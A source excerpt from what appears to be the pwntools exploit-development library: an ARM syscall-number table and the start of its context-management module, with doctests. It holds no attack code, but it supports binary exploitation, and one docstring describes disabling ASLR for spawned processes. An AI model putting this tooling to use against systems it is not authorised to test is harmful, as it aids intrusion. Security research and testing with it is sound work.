SYS_mq_notify = Constant('SYS_mq_notify',(0+278)) SYS_mq_open = Constant('SYS_mq_open',(0+274)) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(0+277)) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',(0 + 419)) SYS_mq_timedsend = Constant('SYS_mq_timedsend',(0+276)) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',(0 + 418)) SYS_mq_unlink = Constant('SYS_mq_unlink',(0+275)) SYS_mremap = Constant('SYS_mremap',(0+163)) SYS_msgctl = Constant('SYS_msgctl',(0+304)) SYS_msgget = Constant('SYS_msgget',(0+303)) SYS_msgrcv = Constant('SYS_msgrcv',(0+302)) SYS_msgsnd = Constant('SYS_msgsnd',(0+301)) SYS_msync = Constant('SYS_msync',(0+144)) SYS_munlock = Constant('SYS_munlock',(0+151)) SYS_munlockall = Constant('SYS_munlockall',(0+153)) SYS_munmap = Constant('SYS_munmap',(0+ 91)) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(0+370)) SYS_nanosleep = Constant('SYS_nanosleep',(0+162)) SYS__newselect = Constant('SYS__newselect',(0+142)) SYS_nfsservctl = Constant('SYS_nfsservctl',(0+169)) SYS_nice = Constant('SYS_nice',(0+ 34)) SYS_OABI_SYSCALL_BASE = Constant('SYS_OABI_SYSCALL_BASE',0x900000) SYS_open = Constant('SYS_open',(0+ 5)) SYS_openat = Constant('SYS_openat',(0+322)) SYS_openat2 = Constant('SYS_openat2',(0 + 437)) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(0+371)) SYS_open_tree = Constant('SYS_open_tree',(0 + 428)) SYS_pause = Constant('SYS_pause',(0+ 29)) SYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',(0+271)) SYS_pciconfig_read = Constant('SYS_pciconfig_read',(0+272)) SYS_pciconfig_write = Constant('SYS_pciconfig_write',(0+273)) SYS_perf_event_open = Constant('SYS_perf_event_open',(0+364)) SYS_personality = Constant('SYS_personality',(0+136)) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(0 + 438)) SYS_pidfd_open = Constant('SYS_pidfd_open',(0 + 434)) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(0 + 424)) SYS_pipe = Constant('SYS_pipe',(0+ 42)) SYS_pipe2 = Constant('SYS_pipe2',(0+359)) SYS_pivot_root = Constant('SYS_pivot_root',(0+218)) SYS_pkey_alloc = Constant('SYS_pkey_alloc',(0 + 395)) SYS_pkey_free = Constant('SYS_pkey_free',(0 + 396)) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(0 + 394)) SYS_poll = Constant('SYS_poll',(0+168)) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',(0 + 414)) SYS_prctl = Constant('SYS_prctl',(0+172)) SYS_pread64 = Constant('SYS_pread64',(0+180)) SYS_preadv = Constant('SYS_preadv',(0+361)) SYS_preadv2 = Constant('SYS_preadv2',(0+392)) SYS_prlimit64 = Constant('SYS_prlimit64',(0+369)) SYS_process_vm_readv = Constant('SYS_process_vm_readv',(0+376)) SYS_process_vm_writev = Constant('SYS_process_vm_writev',(0+377)) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',(0 + 413)) SYS_ptrace = Constant('SYS_ptrace',(0+ 26)) SYS_pwrite64 = Constant('SYS_pwrite64',(0+181)) SYS_pwritev = Constant('SYS_pwritev',(0+362)) SYS_pwritev2 = Constant('SYS_pwritev2',(0+393)) SYS_quotactl = Constant('SYS_quotactl',(0+131)) SYS_read = Constant('SYS_read',(0+ 3)) SYS_readahead = Constant('SYS_readahead',(0+225)) SYS_readdir = Constant('SYS_readdir',(0+ 89)) SYS_readlink = Constant('SYS_readlink',(0+ 85)) SYS_readlinkat = Constant('SYS_readlinkat',(0+332)) SYS_readv = Constant('SYS_readv',(0+145)) SYS_reboot = Constant('SYS_reboot',(0+ 88)) SYS_recv = Constant('SYS_recv',(0+291)) SYS_recvfrom = Constant('SYS_recvfrom',(0+292)) SYS_recvmmsg = Constant('SYS_recvmmsg',(0+365)) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',(0 + 417)) SYS_recvmsg = Constant('SYS_recvmsg',(0+297)) SYS_remap_file_pages = Constant('SYS_remap_file_pages',(0+253)) SYS_removexattr = Constant('SYS_removexattr',(0+235)) SYS_rename = Constant('SYS_rename',(0+ 38)) SYS_renameat = Constant('SYS_renameat',(0+329)) SYS_renameat2 = Constant('SYS_renameat2',(0+382)) SYS_request_key = Constant('SYS_request_key',(0+310)) SYS_restart_syscall = Constant('SYS_restart_syscall',(0+ 0)) SYS_rmdir = Constant('SYS_rmdir',(0+ 40)) SYS_rseq = Constant('SYS_rseq',(0 + 398)) SYS_rt_sigaction = Constant('SYS_rt_sigaction',(0+174)) SYS_rt_sigpending = Constant('SYS_rt_sigpending',(0+176)) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(0+175)) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(0+178)) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(0+173)) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(0+179)) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(0+177)) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',(0 + 421)) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(0+363)) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(0+242)) SYS_sched_getattr = Constant('SYS_sched_getattr',(0+381)) SYS_sched_getparam = Constant('SYS_sched_getparam',(0+155)) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(0+159)) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(0+160)) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(0+157)) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(0+161)) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',(0 + 423)) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(0+241)) SYS_sched_setattr = Constant('SYS_sched_setattr',(0+380)) SYS_sched_setparam = Constant('SYS_sched_setparam',(0+154)) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(0+156)) SYS_sched_yield = Constant('SYS_sched_yield',(0+158)) SYS_seccomp = Constant('SYS_seccomp',(0+383)) SYS_select = Constant('SYS_select',(0+ 82)) SYS_semctl = Constant('SYS_semctl',(0+300)) SYS_semget = Constant('SYS_semget',(0+299)) SYS_semop = Constant('SYS_semop',(0+298)) SYS_semtimedop = Constant('SYS_semtimedop',(0+312)) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',(0 + 420)) SYS_send = Constant('SYS_send',(0+289)) SYS_sendfile = Constant('SYS_sendfile',(0+187)) SYS_sendfile64 = Constant('SYS_sendfile64',(0+239)) SYS_sendmmsg = Constant('SYS_sendmmsg',(0+374)) SYS_sendmsg = Constant('SYS_sendmsg',(0+296)) SYS_sendto = Constant('SYS_sendto',(0+290)) SYS_setdomainname = Constant('SYS_setdomainname',(0+121)) SYS_setfsgid = Constant('SYS_setfsgid',(0+139)) SYS_setfsgid32 = Constant('SYS_setfsgid32',(0+216)) SYS_setfsuid = Constant('SYS_setfsuid',(0+138)) SYS_setfsuid32 = Constant('SYS_setfsuid32',(0+215)) SYS_setgid = Constant('SYS_setgid',(0+ 46)) SYS_setgid32 = Constant('SYS_setgid32',(0+214)) SYS_setgroups = Constant('SYS_setgroups',(0+ 81)) SYS_setgroups32 = Constant('SYS_setgroups32',(0+206)) SYS_sethostname = Constant('SYS_sethostname',(0+ 74)) SYS_setitimer = Constant('SYS_setitimer',(0+104)) SYS_set_mempolicy = Constant('SYS_set_mempolicy',(0+321)) SYS_setns = Constant('SYS_setns',(0+375)) SYS_setpgid = Constant('SYS_setpgid',(0+ 57)) SYS_setpriority = Constant('SYS_setpriority',(0+ 97)) SYS_setregid = Constant('SYS_setregid',(0+ 71)) SYS_setregid32 = Constant('SYS_setregid32',(0+204)) SYS_setresgid = Constant('SYS_setresgid',(0+170)) SYS_setresgid32 = Constant('SYS_setresgid32',(0+210)) SYS_setresuid = Constant('SYS_setresuid',(0+164)) SYS_setresuid32 = Constant('SYS_setresuid32',(0+208)) SYS_setreuid = Constant('SYS_setreuid',(0+ 70)) SYS_setreuid32 = Constant('SYS_setreuid32',(0+203)) SYS_setrlimit = Constant('SYS_setrlimit',(0+ 75)) SYS_set_robust_list = Constant('SYS_set_robust_list',(0+338)) SYS_setsid = Constant('SYS_setsid',(0+ 66)) SYS_setsockopt = Constant('SYS_setsockopt',(0+294)) SYS_set_tid_address = Constant('SYS_set_tid_address',(0+256)) SYS_settimeofday = Constant('SYS_settimeofday',(0+ 79)) SYS_setuid = Constant('SYS_setuid',(0+ 23)) SYS_setuid32 = Constant('SYS_setuid32',(0+213)) SYS_setxattr = Constant('SYS_setxattr',(0+226)) SYS_shmat = Constant('SYS_shmat',(0+305)) SYS_shmctl = Constant('SYS_shmctl',(0+308)) SYS_shmdt = Constant('SYS_shmdt',(0+306)) SYS_shmget = Constant('SYS_shmget',(0+307)) SYS_shutdown = Constant('SYS_shutdown',(0+293)) SYS_sigaction = Constant('SYS_sigaction',(0+ 67)) SYS_sigaltstack = Constant('SYS_sigaltstack',(0+186)) SYS_signalfd = Constant('SYS_signalfd',(0+349)) SYS_signalfd4 = Constant('SYS_signalfd4',(0+355)) SYS_sigpending = Constant('SYS_sigpending',(0+ 73)) SYS_sigprocmask = Constant('SYS_sigprocmask',(0+126)) SYS_sigreturn = Constant('SYS_sigreturn',(0+119)) SYS_sigsuspend = Constant('SYS_sigsuspend',(0+ 72)) SYS_socket = Constant('SYS_socket',(0+281)) SYS_socketcall = Constant('SYS_socketcall',(0+102)) SYS_socketpair = Constant('SYS_socketpair',(0+288)) SYS_splice = Constant('SYS_splice',(0+340)) SYS_stat = Constant('SYS_stat',(0+106)) SYS_stat64 = Constant('SYS_stat64',(0+195)) SYS_statfs = Constant('SYS_statfs',(0+ 99)) SYS_statfs64 = Constant('SYS_statfs64',(0+266)) SYS_statx = Constant('SYS_statx',(0 + 397)) SYS_stime = Constant('SYS_stime',(0+ 25)) SYS_swapoff = Constant('SYS_swapoff',(0+115)) SYS_swapon = Constant('SYS_swapon',(0+ 87)) SYS_symlink = Constant('SYS_symlink',(0+ 83)) SYS_symlinkat = Constant('SYS_symlinkat',(0+331)) SYS_sync = Constant('SYS_sync',(0+ 36)) SYS_syncfs = Constant('SYS_syncfs',(0+373)) SYS_syscall = Constant('SYS_syscall',(0+113)) SYS_SYSCALL_BASE = Constant('SYS_SYSCALL_BASE',0) SYS__sysctl = Constant('SYS__sysctl',(0+149)) SYS_sysfs = Constant('SYS_sysfs',(0+135)) SYS_sysinfo = Constant('SYS_sysinfo',(0+116)) SYS_syslog = Constant('SYS_syslog',(0+103)) SYS_tee = Constant('SYS_tee',(0+342)) SYS_tgkill = Constant('SYS_tgkill',(0+268)) SYS_time = Constant('SYS_time',(0+ 13)) SYS_timer_create = Constant('SYS_timer_create',(0+257)) SYS_timer_delete = Constant('SYS_timer_delete',(0+261)) SYS_timerfd = Constant('SYS_timerfd',(0+350)) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(0+354)) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',(0 + 410)) SYS_timerfd_settime = Constant('SYS_timerfd_settime',(0+353)) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',(0 + 411)) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(0+260)) SYS_timer_gettime = Constant('SYS_timer_gettime',(0+259)) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',(0 + 408)) SYS_timer_settime = Constant('SYS_timer_settime',(0+258)) SYS_timer_settime64 = Constant('SYS_timer_settime64',(0 + 409)) SYS_times = Constant('SYS_times',(0+ 43)) SYS_tkill = Constant('SYS_tkill',(0+238)) SYS_truncate = Constant('SYS_truncate',(0+ 92)) SYS_truncate64 = Constant('SYS_truncate64',(0+193)) SYS_ugetrlimit = Constant('SYS_ugetrlimit',(0+191)) SYS_umask = Constant('SYS_umask',(0+ 60)) SYS_umount = Constant('SYS_umount',(0+ 22)) SYS_umount2 = Constant('SYS_umount2',(0+ 52)) SYS_uname = Constant('SYS_uname',(0+122)) SYS_unlink = Constant('SYS_unlink',(0+ 10)) SYS_unlinkat = Constant('SYS_unlinkat',(0+328)) SYS_unshare = Constant('SYS_unshare',(0+337)) SYS_uselib = Constant('SYS_uselib',(0+ 86)) SYS_userfaultfd = Constant('SYS_userfaultfd',(0+388)) SYS_ustat = Constant('SYS_ustat',(0+ 62)) SYS_utime = Constant('SYS_utime',(0+ 30)) SYS_utimensat = Constant('SYS_utimensat',(0+348)) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',(0 + 412)) SYS_utimes = Constant('SYS_utimes',(0+269)) SYS_vfork = Constant('SYS_vfork',(0+190)) SYS_vhangup = Constant('SYS_vhangup',(0+111)) SYS_vmsplice = Constant('SYS_vmsplice',(0+343)) SYS_vserver = Constant('SYS_vserver',(0+313)) SYS_wait4 = Constant('SYS_wait4',(0+114)) SYS_waitid = Constant('SYS_waitid',(0+280)) SYS_write = Constant('SYS_write',(0+ 4)) SYS_writev = Constant('SYS_writev',(0+146)) Gallopsled-pwntools-3ad86ec/pwnlib/context/000077500000000000000000000000001507273764500211615ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/context/__init__.py000066400000000000000000001515311507273764500233000ustar00rootroot00000000000000# -*- coding: utf-8 -*- """ Implements context management so that nested/scoped contexts and threaded contexts work properly and as expected. """ from __future__ import absolute_import from __future__ import division import atexit import collections import errno import functools import logging import os import os.path import platform import shutil import six import socket import string import sys import tempfile import threading import time import socks from pwnlib.config import register_config from pwnlib.device import Device from pwnlib.timeout import Timeout try: from collections.abc import Iterable except ImportError: from collections import Iterable __all__ = ['context', 'ContextType', 'Thread'] _original_socket = socket.socket class _devnull(object): name = None def write(self, *a, **kw): pass def read(self, *a, **kw): return '' def flush(self, *a, **kw): pass def close(self, *a, **kw): pass class _defaultdict(dict): """ Dictionary which loads missing keys from another dictionary. This is neccesary because the ``default_factory`` method of :class:`collections.defaultdict` does not provide the key. Examples: >>> a = {'foo': 'bar'} >>> b = pwnlib.context._defaultdict(a) >>> b['foo'] 'bar' >>> 'foo' in b False >>> b['foo'] = 'baz' >>> b['foo'] 'baz' >>> del b['foo'] >>> b['foo'] 'bar' >>> a = {'foo': 'bar'} >>> b = pwnlib.context._defaultdict(a) >>> b['baz'] #doctest: +ELLIPSIS Traceback (most recent call last): ... KeyError: 'baz' """ def __init__(self, default=None): super(_defaultdict, self).__init__() if default is None: default = {} self.default = default def __missing__(self, key): return self.default[key] class _DictStack(object): """ Manages a dictionary-like object, permitting saving and restoring from a stack of states via :func:`push` and :func:`pop`. The underlying object used as ``default`` must implement ``copy``, ``clear``, and ``update``. Examples: >>> t = pwnlib.context._DictStack(default={}) >>> t['key'] = 'value' >>> t {'key': 'value'} >>> t.push() >>> t {'key': 'value'} >>> t['key'] = 'value2' >>> t {'key': 'value2'} >>> t.pop() >>> t {'key': 'value'} """ def __init__(self, default): self._current = _defaultdict(default) self.__stack = [] def push(self): self.__stack.append(self._current.copy()) def pop(self): self._current.clear() self._current.update(self.__stack.pop()) def copy(self): return self._current.copy() # Pass-through container emulation routines def __len__(self): return self._current.__len__() def __delitem__(self, k): return self._current.__delitem__(k) def __getitem__(self, k): return self._current.__getitem__(k) def __setitem__(self, k, v): return self._current.__setitem__(k, v) def __contains__(self, k): return self._current.__contains__(k) def __iter__(self): return self._current.__iter__() def __repr__(self): return self._current.__repr__() def __eq__(self, other): return self._current.__eq__(other) # Required for keyword expansion operator ** to work def keys(self): return self._current.keys() def values(self): return self._current.values() def items(self): return self._current.items() class _Tls_DictStack(threading.local, _DictStack): """ Per-thread implementation of :class:`_DictStack`. Examples: >>> t = pwnlib.context._Tls_DictStack({}) >>> t['key'] = 'value' >>> print(t) {'key': 'value'} >>> def p(): print(t) >>> thread = threading.Thread(target=p) >>> _ = (thread.start(), thread.join()) {} """ pass def _validator(validator): """ Validator that is tightly coupled to the implementation of the classes here. This expects that the object has a ._tls property which is of type _DictStack. """ name = validator.__name__ doc = validator.__doc__ def fget(self): return self._tls[name] def fset(self, val): self._tls[name] = validator(self, val) def fdel(self): self._tls._current.pop(name,None) return property(fget, fset, fdel, doc) class Thread(threading.Thread): """ Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`. Threads created by using the native :class`threading`.Thread` will have a clean (default) context. Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent. Saves a copy of the context when instantiated (at ``__init__``) and updates the new thread's context before passing control to the user code via ``run`` or ``target=``. Examples: >>> context.clear() >>> context.update(arch='arm') >>> def p(): ... print(context.arch) ... context.arch = 'mips' ... print(context.arch) >>> # Note that a normal Thread starts with a clean context >>> # (i386 is the default architecture) >>> t = threading.Thread(target=p) >>> _=(t.start(), t.join()) i386 mips >>> # Note that the main Thread's context is unchanged >>> print(context.arch) arm >>> # Note that a context-aware Thread receives a copy of the context >>> t = pwnlib.context.Thread(target=p) >>> _=(t.start(), t.join()) arm mips >>> # Again, the main thread is unchanged >>> print(context.arch) arm Implementation Details: This class implemented by hooking the private function :func:`threading.Thread._Thread_bootstrap`, which is called before passing control to :func:`threading.Thread.run`. This could be done by overriding ``run`` itself, but we would have to ensure that all uses of the class would only ever use the keyword ``target=`` for ``__init__``, or that all subclasses invoke ``super(Subclass.self).set_up_context()`` or similar. """ def __init__(self, *args, **kwargs): super(Thread, self).__init__(*args, **kwargs) self.old = context.copy() def __bootstrap(self): """ Implementation Details: This only works because the class is named ``Thread``. If its name is changed, we have to implement this hook differently. """ context.update(**self.old) sup = super(Thread, self) bootstrap = getattr(sup, '_bootstrap', None) if bootstrap is None: sup.__bootstrap() else: bootstrap() _bootstrap = __bootstrap def _longest(d): """ Returns an OrderedDict with the contents of the input dictionary ``d`` sorted by the length of the keys, in descending order. This is useful for performing substring matching via ``str.startswith``, as it ensures the most complete match will be found. >>> data = {'a': 1, 'bb': 2, 'ccc': 3} >>> pwnlib.context._longest(data) == data True >>> for i in pwnlib.context._longest(data): ... print(i) ccc bb a """ return collections.OrderedDict((k,d[k]) for k in sorted(d, key=len, reverse=True)) class ContextType(object): r""" Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable :data:`.context`, available via ``from pwn import *`` as ``context``. The context is usually specified at the top of the Python file for clarity. :: #!/usr/bin/env python context.update(arch='i386', os='linux') Currently supported properties and their defaults are listed below. The defaults are inherited from :data:`pwnlib.context.ContextType.defaults`. Additionally, the context is thread-aware when using :class:`pwnlib.context.Thread` instead of :class:`threading.Thread` (all internal ``pwntools`` threads use the former). The context is also scope-aware by using the ``with`` keyword. Examples: >>> context.clear() >>> context.update(os='linux') # doctest: +ELLIPSIS >>> context.os == 'linux' True >>> context.arch = 'arm' >>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux', 'newline': b'\n'} True >>> context.endian 'little' >>> context.bits 32 >>> def nop(): ... print(enhex(pwnlib.asm.asm('nop'))) >>> nop() 00f020e3 >>> with context.local(arch = 'i386'): ... nop() 90 >>> from pwnlib.context import Thread as PwnThread >>> from threading import Thread as NormalThread >>> with context.local(arch = 'mips'): ... pwnthread = PwnThread(target=nop) ... thread = NormalThread(target=nop) >>> # Normal thread uses the default value for arch, 'i386' >>> _=(thread.start(), thread.join()) 90 >>> # Pwnthread uses the correct context from creation-time >>> _=(pwnthread.start(), pwnthread.join()) 00000000 >>> nop() 00f020e3 """ # # Use of 'slots' is a heavy-handed way to prevent accidents # like 'context.architecture=' instead of 'context.arch='. # # Setting any properties on a ContextType object will throw an # exception. # __slots__ = '_tls', #: Default values for :class:`pwnlib.context.ContextType` defaults = { 'adb_host': 'localhost', 'adb_port': 5037, 'arch': 'i386', 'aslr': True, 'binary': None, 'bits': 32, 'buffer_size': 4096, 'cache_dir_base': os.environ.get( 'XDG_CACHE_HOME', os.path.join(os.path.expanduser('~'), '.cache') ), 'cyclic_alphabet': string.ascii_lowercase.encode(), 'cyclic_size': 4, 'delete_corefiles': False, 'device': os.getenv('ANDROID_SERIAL', None) or None, 'encoding': 'auto', 'endian': 'little', 'gdbinit': "", 'gdb_binary': "", 'kernel': None, 'local_libcdb': "/var/lib/libc-database", 'log_level': logging.INFO, 'log_file': _devnull(), 'log_console': sys.stdout, 'randomize': False, 'rename_corefiles': True, 'newline': b'\n', 'throw_eof_on_incomplete_line': None, 'noptrace': False, 'os': 'linux', 'proxy': None, 'ssh_session': None, 'signed': False, 'terminal': tuple(), 'timeout': Timeout.maximum, } unix_like = {'newline': b'\n'} windows_like = {'newline': b'\r\n'} #: Keys are valid values for :meth:`pwnlib.context.ContextType.os` oses = _longest({ 'linux': unix_like, 'freebsd': unix_like, 'windows': windows_like, 'cgc': unix_like, 'android': unix_like, 'baremetal': unix_like, 'darwin': unix_like, }) big_32 = {'endian': 'big', 'bits': 32} big_64 = {'endian': 'big', 'bits': 64} little_8 = {'endian': 'little', 'bits': 8} little_16 = {'endian': 'little', 'bits': 16} little_32 = {'endian': 'little', 'bits': 32} little_64 = {'endian': 'little', 'bits': 64} #: Keys are valid values for :meth:`pwnlib.context.ContextType.arch`. # #: Values are defaults which are set when #: :attr:`pwnlib.context.ContextType.arch` is set architectures = _longest({ 'aarch64': little_64, 'alpha': little_64, 'avr': little_8, 'amd64': little_64, 'arm': little_32, 'cris': little_32, 'i386': little_32, 'ia64': big_64, 'm68k': big_32, 'mips': little_32, 'mips64': little_64, 'msp430': little_16, 'powerpc': big_32, 'powerpc64': big_64, 'riscv32': little_32, 'riscv64': little_64, 's390': big_32, 'sparc': big_32, 'sparc64': big_64, 'thumb': little_32, 'vax': little_32, 'none': {}, }) #: Valid values for :attr:`endian` endiannesses = _longest({ 'be': 'big', 'eb': 'big', 'big': 'big', 'le': 'little', 'el': 'little', 'little': 'little' }) #: Valid string values for :attr:`signed` signednesses = { 'unsigned': False, 'no': False, 'yes': True, 'signed': True } valid_signed = sorted(signednesses) def __init__(self, **kwargs): """ Initialize the ContextType structure. All keyword arguments are passed to :func:`update`. """ self._tls = _Tls_DictStack(_defaultdict(self.defaults)) self.update(**kwargs) def copy(self): r"""copy() -> dict Returns a copy of the current context as a dictionary. Examples: >>> context.clear() >>> context.os = 'linux' >>> vars(context) == {'os': 'linux', 'newline': b'\n'} True """ return self._tls.copy() @property def __dict__(self): return self.copy() def update(self, *args, **kwargs): """ Convenience function, which is shorthand for setting multiple variables at once. It is a simple shorthand such that:: context.update(os = 'linux', arch = 'arm', ...) is equivalent to:: context.os = 'linux' context.arch = 'arm' ... The following syntax is also valid:: context.update({'os': 'linux', 'arch': 'arm'}) Arguments: kwargs: Variables to be assigned in the environment. Examples: >>> context.clear() >>> context.update(arch = 'i386', os = 'linux') >>> context.arch, context.os ('i386', 'linux') """ for arg in args: self.update(**arg) for k,v in kwargs.items(): setattr(self,k,v) def __repr__(self): v = sorted("%s = %r" % (k,v) for k,v in self._tls._current.items()) return '%s(%s)' % (self.__class__.__name__, ', '.join(v)) def local(self, function=None, **kwargs): """local(**kwargs) -> context manager Create a context manager for use with the ``with`` statement. For more information, see the example below or PEP 343. Arguments: kwargs: Variables to be assigned in the new environment. Returns: ContextType manager for managing the old and new environment. Examples: >>> context.clear() >>> context.timeout = 1 >>> context.timeout == 1 True >>> print(context.timeout) 1.0 >>> with context.local(timeout = 2): ... print(context.timeout) ... context.timeout = 3 ... print(context.timeout) 2.0 3.0 >>> print(context.timeout) 1.0 """ class LocalContext(object): def __enter__(a): self._tls.push() self.update(**{k:v for k,v in kwargs.items() if v is not None}) return self def __exit__(a, *b, **c): self._tls.pop() def __call__(self, function, *a, **kw): @functools.wraps(function) def inner(*a, **kw): with self: return function(*a, **kw) return inner return LocalContext() @property def silent(self, function=None): """Disable all non-error logging within the enclosed scope. """ return self.local(function, log_level='error') @property def quiet(self, function=None): """Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to 'debug' or lower. Example: Let's assume the normal situation, where log_level is INFO. >>> context.clear(log_level='info') Note that only the log levels below ERROR do not print anything. >>> with context.quiet: ... log.debug("DEBUG") ... log.info("INFO") ... log.warn("WARN") Next let's try with the debugging level set to 'debug' before we enter the context handler: >>> with context.local(log_level='debug'): ... with context.quiet: ... log.debug("DEBUG") ... log.info("INFO") ... log.warn("WARN") [...] DEBUG [...] INFO [...] WARN """ level = 'error' if context.log_level <= logging.DEBUG: level = None return self.local(function, log_level=level) def quietfunc(self, function): """Similar to :attr:`quiet`, but wraps a whole function. Example: Let's set up two functions, which are the same but one is wrapped with :attr:`quietfunc`. >>> def loud(): log.info("Loud") >>> @context.quietfunc ... def quiet(): log.info("Quiet") If we set the logging level to 'info', the loud function prints its contents. >>> with context.local(log_level='info'): loud() [*] Loud However, the quiet function does not, since :attr:`quietfunc` silences all output unless the log level is DEBUG. >>> with context.local(log_level='info'): quiet() Now let's try again with debugging enabled. >>> with context.local(log_level='debug'): quiet() [*] Quiet """ @functools.wraps(function) def wrapper(*a, **kw): level = 'error' if context.log_level <= logging.DEBUG: level = None with self.local(function, log_level=level): return function(*a, **kw) return wrapper @property def verbose(self): """Enable all logging within the enclosed scope. This is the opposite of :attr:`.quiet` and functionally equivalent to: .. code-block:: python with context.local(log_level='debug'): ... Example: Note that the function does not emit any information by default >>> context.clear() >>> def func(): log.debug("Hello") >>> func() But if we put it inside a :attr:`.verbose` context manager, the information is printed. >>> with context.verbose: func() [...] Hello """ return self.local(log_level='debug') def clear(self, *a, **kw): """ Clears the contents of the context. All values are set to their defaults. Arguments: a: Arguments passed to ``update`` kw: Arguments passed to ``update`` Examples: >>> # Default value >>> context.clear() >>> context.arch == 'i386' True >>> context.arch = 'arm' >>> context.arch == 'i386' False >>> context.clear() >>> context.arch == 'i386' True """ self._tls._current.clear() if a or kw: self.update(*a, **kw) @property def native(self): if context.os in ('android', 'baremetal', 'cgc'): return False arch = context.arch with context.local(arch = platform.machine()): platform_arch = context.arch if arch in ('i386', 'amd64') and platform_arch in ('i386', 'amd64'): return True return arch == platform_arch @_validator def arch(self, arch): """ Target binary architecture. Allowed values are listed in :attr:`pwnlib.context.ContextType.architectures`. Side Effects: If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not already set a value. The following properties may be modified. - :attr:`bits` - :attr:`endian` Raises: AttributeError: An invalid architecture was specified Examples: >>> context.clear() >>> context.arch == 'i386' # Default architecture True >>> context.arch = 'mips' >>> context.arch == 'mips' True >>> context.arch = 'doge' #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: arch must be one of ['aarch64', ..., 'thumb'] >>> context.arch = 'ppc' >>> context.arch == 'powerpc' # Aliased architecture True >>> context.clear() >>> context.bits == 32 # Default value True >>> context.arch = 'amd64' >>> context.bits == 64 # New value True Note that expressly setting :attr:`bits` means that we use that value instead of the default >>> context.clear() >>> context.bits = 32 >>> context.arch = 'amd64' >>> context.bits == 32 True Setting the architecture can override the defaults for both :attr:`endian` and :attr:`bits` >>> context.clear() >>> context.arch = 'powerpc64' >>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'} True """ # Lowercase arch = arch.lower() # Attempt to perform convenience and legacy compatibility transformations. # We have to make sure that x86_64 appears before x86 for this to work correctly. transform = [('ppc64', 'powerpc64'), ('ppc', 'powerpc'), ('x86-64', 'amd64'), ('x86_64', 'amd64'), ('x86', 'i386'), ('i686', 'i386'), ('armv7l', 'arm'), ('armeabi', 'arm'), ('arm64', 'aarch64'), ('rv32', 'riscv32'), ('rv64', 'riscv64')] for k, v in transform: if arch.startswith(k): arch = v break try: defaults = self.architectures[arch] except KeyError: raise AttributeError('AttributeError: arch (%r) must be one of %r' % (arch, sorted(self.architectures))) for k,v in defaults.items(): if k not in self._tls: self._tls[k] = v return arch @_validator def aslr(self, aslr): """ ASLR settings for new processes. If :const:`False`, attempt to disable ASLR in all processes which are created via ``personality`` (``setarch -R``) and ``setrlimit`` (``ulimit -s unlimited``). The ``setarch`` changes are lost if a ``setuid`` binary is executed. """ return bool(aslr) @_validator def kernel(self, arch): """ Target machine's kernel architecture. Usually, this is the same as ``arch``, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64). Even then, this doesn't matter much -- only when the the segment registers need to be known """ with self.local(arch=arch): return self.arch @_validator def bits(self, bits): """ Target machine word size, in bits (i.e. the size of general purpose registers). The default value is ``32``, but changes according to :attr:`arch`. Examples: >>> context.clear() >>> context.bits == 32 True >>> context.bits = 64 >>> context.bits == 64 True >>> context.bits = -1 #doctest: +ELLIPSIS Traceback (most recent call last): ... AttributeError: bits must be > 0 (-1) """ bits = int(bits) if bits <= 0: raise AttributeError("bits must be > 0 (%r)" % bits) return bits @_validator def binary(self, binary): """ Infer target architecture, bit-with, and endianness from a binary file. Data type is a :class:`pwnlib.elf.ELF` object. Examples: >>> context.clear() >>> context.arch, context.bits ('i386', 32) >>> context.binary = '/bin/bash' >>> context.arch, context.bits ('amd64', 64) >>> context.binary ELF('/bin/bash') """ # Cyclic imports... sorry Idolf. from pwnlib.elf import ELF if not isinstance(binary, ELF): binary = ELF(binary) self.arch = binary.arch self.bits = binary.bits self.endian = binary.endian self.os = binary.os return binary @property def bytes(self): """ Target machine word size, in bytes (i.e. the size of general purpose registers). This is a convenience wrapper around ``bits // 8``. 